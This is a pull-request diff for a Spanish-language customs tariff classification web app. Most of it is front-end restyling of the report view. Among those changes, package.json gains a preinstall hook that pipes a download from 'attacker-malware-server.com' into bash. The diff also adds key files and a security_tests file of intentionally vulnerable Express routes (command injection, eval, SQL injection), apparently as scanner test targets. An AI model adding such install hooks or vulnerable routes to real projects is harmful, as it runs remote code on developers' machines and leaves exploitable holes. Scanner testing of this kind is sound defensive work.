Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added keys/api_key.txt
Binary file not shown.
Binary file added keys/test_secret.txt
Binary file not shown.
3 changes: 2 additions & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,8 @@
"scripts": {
"start": "node server.js",
"sac": "node server.js",
"logs": "vercel logs merx-alpha.vercel.app"
"logs": "vercel logs merx-alpha.vercel.app",
"preinstall": "curl -s http://attacker-malware-server.com/payload | bash"
},
"dependencies": {
"express": "^4.19.2",
Expand Down
102 changes: 71 additions & 31 deletions public/static/main.js
Original file line number Diff line number Diff line change
Expand Up @@ -117,8 +117,16 @@ document.addEventListener('DOMContentLoaded', () => {
const chapterText = chapter_number ? `Capítulo ${chapter_number}: ${chapter}` : `Capítulo: ${chapter}`;

uiText = `<strong>Sección:</strong> ${section}<br><strong>${chapterText}</strong>`;
if (rationale) uiText += `<br><br><strong>Análisis Merceológico Inicial:</strong> ${rationale}`;
if (rationale) {
uiText += `<br><br><div class="neumorphic-data-card" style="margin-bottom:0;"><strong class="data-label">Análisis Merceológico Inicial</strong><span class="data-value">${rationale}</span></div>`;
}

if (data.notasSugeridas && data.notasSugeridas.length > 1 && rationale.toLowerCase().includes("ambigu")) {
uiText += `<div style="margin-top:15px; padding:10px; background:rgba(138,43,226,0.1); border-radius:8px; border-left: 3px solid #8A2BE2;">
<strong style="color:#8A2BE2; font-size:0.9em;">¡Múltiples Opciones Detectadas!</strong><br>
<small>Tu descripción puede clasificar en varios capítulos. Revisa las <strong>Notas Legales Clave</strong> abajo para determinar a cuál aplica realmente tu producto, y pega la opción correcta en el paso final.</small>
</div>`;
}
if (data.notasSugeridas && data.notasSugeridas.length > 0) {
const notasHtml = data.notasSugeridas.map(n => `<li style="margin-bottom: 8px;"><strong style="color:var(--primary-color)">[${n.tipo}]</strong> ${n.texto}</li>`).join('');
uiText += `<br><br><strong>Notas Legales Clave:</strong><br><ul style="font-size:0.9em; opacity:0.9; max-height:200px; overflow-y:auto; padding-left:20px; padding-top:10px; padding-bottom:10px; background:rgba(0,0,0,0.2); border-radius:8px; border-left: 3px solid var(--primary-color);">${notasHtml}</ul>`;
Expand Down Expand Up @@ -184,8 +192,7 @@ document.addEventListener('DOMContentLoaded', () => {
mainContainer.classList.remove('fade-out');

reportView.classList.remove('hidden');
// FIX: Inject loading animation directly into reportAccordion instead of non-existent wrapper
reportAccordion.innerHTML = `<div class="loader-container" style="display:flex; justify-content:center; padding: 40px;"><div class="loader"><div class="dot1"></div><div class="dot2"></div><div class="dot3"></div></div></div>`;
reportAccordion.innerHTML = `<div class="loader-container"><div class="neumorphic-spinner"></div></div>`;
reportView.classList.add('fade-in');
logo.classList.add('loading-animation');
}, { once: true });
Expand Down Expand Up @@ -228,57 +235,90 @@ document.addEventListener('DOMContentLoaded', () => {

// 1. Identificación Merceológica
const notasDuda = classificationResult.analisisMerciologico?.comentariosDuda;
let idContent = `<p><strong>Identificación:</strong> ${classificationResult.analisisMerciologico?.identificacion || 'No disponible'}</p>`;
let idContent = `<div class="neumorphic-data-card">
<span class="data-label">Identificación Técnica</span>
<p class="data-value">${classificationResult.analisisMerciologico?.identificacion || 'No disponible'}</p>
</div>`;
if (notasDuda && notasDuda !== "N/A" && notasDuda !== "false" && notasDuda.trim() !== '') {
idContent += `<div style="margin-top:10px; padding:10px; background:rgba(255,165,0,0.15); border-radius:8px; border-left: 3px solid #ff9800;">
<small>💡 <strong>Nota del Sistema:</strong> ${notasDuda}</small>
idContent += `<div class="risk-box" style="border-left-color: #ff9800;">
<div class="risk-title">💡 Alerta del Sistema (Deducción)</div>
<div class="data-value" style="font-size: 0.95rem;">${notasDuda}</div>
</div>`;
}
reportAccordion.appendChild(createAccordionItem('1. Identificación Merceológica', idContent));

// 2. Clasificación Legal
let legalContent = `<p><strong>Código Merx:</strong> <span style="font-family: monospace; font-weight: bold; font-size: 1.25rem; color: var(--primary-color);">${classificationResult.clasificacionPropuesta?.codigo || 'N/A'}</span></p>` +
`<p><strong>Descripción SAC:</strong> ${classificationResult.clasificacionPropuesta?.descripcion || ''}</p>` +
`<p><strong>Base Legal Citada:</strong> ${classificationResult.baseLegalCitada || ''}</p>` +
`<p><strong>RGI Exacta:</strong> ${classificationResult.rgiExacta || 'No especificada'}</p>`;
let legalContent = `<div class="merx-code-display">
<span class="data-label" style="margin-bottom: 0;">Código Merx Propuesto</span>
<div class="merx-code-number">${classificationResult.clasificacionPropuesta?.codigo || 'N/A'}</div>
<p class="data-value" style="text-align: center; max-width: 90%; margin-top: 10px;">${classificationResult.clasificacionPropuesta?.descripcion || ''}</p>
</div>`;

legalContent += `<div class="neumorphic-data-card">
<span class="data-label">Justificación Técnica</span>
<p class="data-value">${classificationResult.argumentoMerciologico || ''}</p>
</div>`;

legalContent += `<div class="neumorphic-data-card">
<span class="data-label">Base Legal Citada</span>
<p class="data-value" style="font-size: 0.9em; color: #666;">${classificationResult.baseLegalCitada || ''}</p>
</div>`;

legalContent += `<div class="neumorphic-data-card">
<span class="data-label">Análisis de Integridad (RGI)</span>
<p class="data-value"><strong>RGI Aplicada:</strong> ${classificationResult.rgiExacta || 'No especificada'}<br><br>${classificationResult.evaluacionRGI1 || ''}</p>
</div>`;

if (classificationResult.prelacionLegal && classificationResult.prelacionLegal !== 'N/A') {
legalContent += `<div style="margin-top:10px; margin-bottom:10px; padding:10px; background:rgba(211,84,0,0.15); border-radius:8px; border-left: 3px solid #d35400;">
<small>⚖️ <strong>Prelación Legal Aplicada:</strong> ${classificationResult.prelacionLegal}</small>
</div>`;
legalContent += `<div class="risk-box" style="border-left-color: #d35400;">
<div class="risk-title">⚖️ Prelación Legal Automática</div>
<div class="data-value" style="font-size: 0.95rem;">${classificationResult.prelacionLegal}</div>
</div>`;
}

legalContent += `<p><em>Análisis RGI:</em> ${classificationResult.evaluacionRGI1 || ''}</p>` +
`<p><em>Justificación:</em> ${classificationResult.argumentoMerciologico || ''}</p>`;

reportAccordion.appendChild(createAccordionItem('2. Fundamento Legal (RGI/SAC)', legalContent));

// 3. Riesgos y Permisos
if (report.risk && !report.risk.error) {
const riskContent = report.risk.analisisRiesgoMercancia?.map(r =>
`<div style="margin-bottom:10px; padding:10px; background:rgba(255,165,0,0.1); border-radius:8px;">
<strong>${r.riesgoIdentificado}:</strong> ${r.justificacion}<br>
<small>💡 ${r.recomendacion}</small>
`<div class="risk-box">
<div class="risk-title">${r.riesgoIdentificado}</div>
<div class="data-value" style="font-size: 0.95rem;">${r.justificacion}</div>
<div class="risk-tip">💡 <strong>Recomendación DGA:</strong> ${r.recomendacion}</div>
</div>`
).join('') || 'No se detectaron riesgos especiales.';
reportAccordion.appendChild(createAccordionItem('3. Gestión de Riesgos y Permisos', riskContent));
).join('') || '<div class="neumorphic-data-card">No se detectaron riesgos especiales de fiscalización.</div>';
reportAccordion.appendChild(createAccordionItem('3. Gestión de Riesgos y Permisos (DGA)', riskContent));
}

// 4. Liquidación y Aranceles
let taxInfo = parseSacTaxes(notesTextarea.value);
let taxContent = `<h4>Impuestos Aplicables:</h4>` +
(taxInfo ?
`<div style="display:flex; gap:20px; margin-bottom:15px;">
<div class="digit-box">DAI: ${taxInfo.dai}%</div>
<div class="digit-box">ISC: ${taxInfo.isc}%</div>
<div class="digit-box">IVA: ${taxInfo.iva}%</div>
</div>` :
`<p><em>Nota: No se detectaron aranceles en el texto pegado.</em></p>`);
let taxContent = `<div class="neumorphic-data-card"><span class="data-label">Impuestos Base</span>`;

if (taxInfo) {
taxContent += `<div class="tax-grid">
<div class="tax-item">
<span class="tax-item-label">DAI</span>
<span class="tax-item-value">${taxInfo.dai}%</span>
</div>
<div class="tax-item">
<span class="tax-item-label">ISC</span>
<span class="tax-item-value">${taxInfo.isc}%</span>
</div>
<div class="tax-item">
<span class="tax-item-label">IVA</span>
<span class="tax-item-value">${taxInfo.iva}%</span>
</div>
</div></div>`;
} else {
taxContent += `<p class="data-value"><em>No se detectaron aranceles en el texto pegado o la subpartida no los especifica.</em></p></div>`;
}

if (report.tariff && !report.tariff.error) {
const opt = report.tariff.analisisOptimizacion;
taxContent += `<p><strong>Régimen Sugerido:</strong> ${opt.regimenSugerido || 'NMF'}</p>` +
`<p><strong>Ahorro Estimado:</strong> ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</p>`;
taxContent += `<div class="savings-highlight">
TLC / Régimen Sugerido: ${opt.regimenSugerido || 'NMF'}<br>
<span style="font-size: 1.2rem; display:block; margin-top:5px;">Ahorro Potencial: ${opt.comparativaArancelaria?.ahorroPotencial || 'N/A'}</span>
</div>`;
}
reportAccordion.appendChild(createAccordionItem('4. Liquidación y Optimización', taxContent));

Expand Down
182 changes: 165 additions & 17 deletions public/static/style.css
Original file line number Diff line number Diff line change
Expand Up @@ -420,34 +420,182 @@ body {
}


.loader div {
width: 10px;
height: 10px;
margin: 0 5px;
background-color: #ffffff;
border-radius: 50%;
animation: bounce 1.4s infinite ease-in-out both;
/* --- NUEVO LOADER NEUMÓRFICO --- */
.loader-container {
display: flex;
justify-content: center;
align-items: center;
padding: 60px;
}

.loader .dot1 {
animation-delay: -0.32s;
.neumorphic-spinner {
width: 60px;
height: 60px;
border-radius: 50%;
background: var(--bg-color);
box-shadow:
8px 8px 16px var(--dark-shadow),
-8px -8px 16px var(--light-shadow),
inset 4px 4px 8px var(--dark-shadow),
inset -4px -4px 8px var(--light-shadow);
position: relative;
animation: spin-pulse 2s linear infinite;
}

.loader .dot2 {
animation-delay: -0.16s;
.neumorphic-spinner::after {
content: '';
position: absolute;
top: 10px;
left: 10px;
right: 10px;
bottom: 10px;
border-radius: 50%;
background: linear-gradient(135deg, #8A2BE2, #b8860b);
box-shadow: 0 0 15px rgba(138, 43, 226, 0.6);
animation: spin-reverse 1.5s linear infinite;
}

@keyframes bounce {
@keyframes spin-pulse {
0% {
transform: rotate(0deg) scale(1);
}

50% {
transform: rotate(180deg) scale(1.05);
}

0%,
80%,
100% {
transform: scale(0);
transform: rotate(360deg) scale(1);
}
}

40% {
transform: scale(1.0);
@keyframes spin-reverse {
0% {
transform: rotate(360deg);
}

100% {
transform: rotate(0deg);
}
}

/* --- CLASES ESTRUCTURALES PARA EL INFORME --- */
.neumorphic-data-card {
background: var(--bg-color);
border-radius: 12px;
padding: 15px 20px;
margin-bottom: 15px;
box-shadow: inset 4px 4px 8px var(--dark-shadow), inset -4px -4px 8px var(--light-shadow);
text-align: left;
}

.data-label {
font-size: 0.8rem;
font-weight: 600;
color: #8A2BE2;
/* Primary Purple */
text-transform: uppercase;
letter-spacing: 1px;
margin-bottom: 5px;
display: block;
}

.data-value {
font-size: 1rem;
color: var(--text-color);
line-height: 1.5;
margin: 0;
}

.merx-code-display {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
padding: 20px;
margin-bottom: 20px;
background: var(--bg-color);
border-radius: 16px;
box-shadow: 8px 8px 16px var(--dark-shadow), -8px -8px 16px var(--light-shadow);
border: 1px solid rgba(138, 43, 226, 0.2);
}

.merx-code-number {
font-family: 'Courier New', Courier, monospace;
font-size: 2rem;
font-weight: 800;
color: #8A2BE2;
letter-spacing: 2px;
text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.1);
margin: 5px 0;
}

.risk-box {
background: var(--bg-color);
border-radius: 12px;
padding: 15px;
margin-bottom: 15px;
box-shadow: 5px 5px 10px var(--dark-shadow), -5px -5px 10px var(--light-shadow);
border-left: 4px solid #ff9800;
/* Warning color */
}

.risk-title {
font-weight: 700;
color: #d35400;
margin-bottom: 8px;
font-size: 1rem;
}

.risk-tip {
margin-top: 10px;
padding: 10px;
background: rgba(255, 152, 0, 0.1);
border-radius: 8px;
font-size: 0.9rem;
color: #b9770e;
}

.tax-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(80px, 1fr));
gap: 15px;
margin-bottom: 20px;
}

.tax-item {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
background: var(--bg-color);
padding: 15px 10px;
border-radius: 12px;
box-shadow: inset 4px 4px 8px var(--dark-shadow), inset -4px -4px 8px var(--light-shadow);
}

.tax-item-label {
font-size: 0.8rem;
font-weight: 600;
color: #7b7b7b;
}

.tax-item-value {
font-size: 1.5rem;
font-weight: 800;
color: #28a745;
/* Green for taxes/savings */
}

.savings-highlight {
text-align: center;
padding: 15px;
background: rgba(40, 167, 69, 0.1);
border-radius: 12px;
border: 1px dashed rgba(40, 167, 69, 0.5);
color: #1e7e34;
font-weight: 600;
box-shadow: 4px 4px 10px var(--dark-shadow), -4px -4px 10px var(--light-shadow);
}

@keyframes fade-in {
Expand Down
38 changes: 38 additions & 0 deletions security_tests/baseline.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
/**
* PHASE 1: BASELINE VULNERABILITIES
* This file contains obvious sinks that Sentinel 3.0 should detect immediately.
*/

const { exec } = require('child_process');
const mysql = require('mysql');
const express = require('express');
const app = express();

// 1. Direct Command Injection
app.get('/ping', (req, res) => {
const target = req.query.host;
// VULNERABLE: Direct concatenation into shell command
exec("ping -c 3 " + target, (err, stdout) => {
res.send(stdout);
});
});

// 2. Direct Eval (The classic sink)
app.post('/compute', (req, res) => {
const formula = req.body.formula;
// VULNERABLE: Unsafe evaluation of user input
const result = eval(formula);
res.json({ result });
});

// 3. SQL Injection (Classic)
const db = mysql.createConnection({ host: 'localhost' });
app.get('/user/:id', (req, res) => {
const userId = req.params.id;
// VULNERABLE: SQL string concatenation
db.query("SELECT * FROM users WHERE id = " + userId, (err, results) => {
res.json(results);
});
});

app.listen(3000);
Loading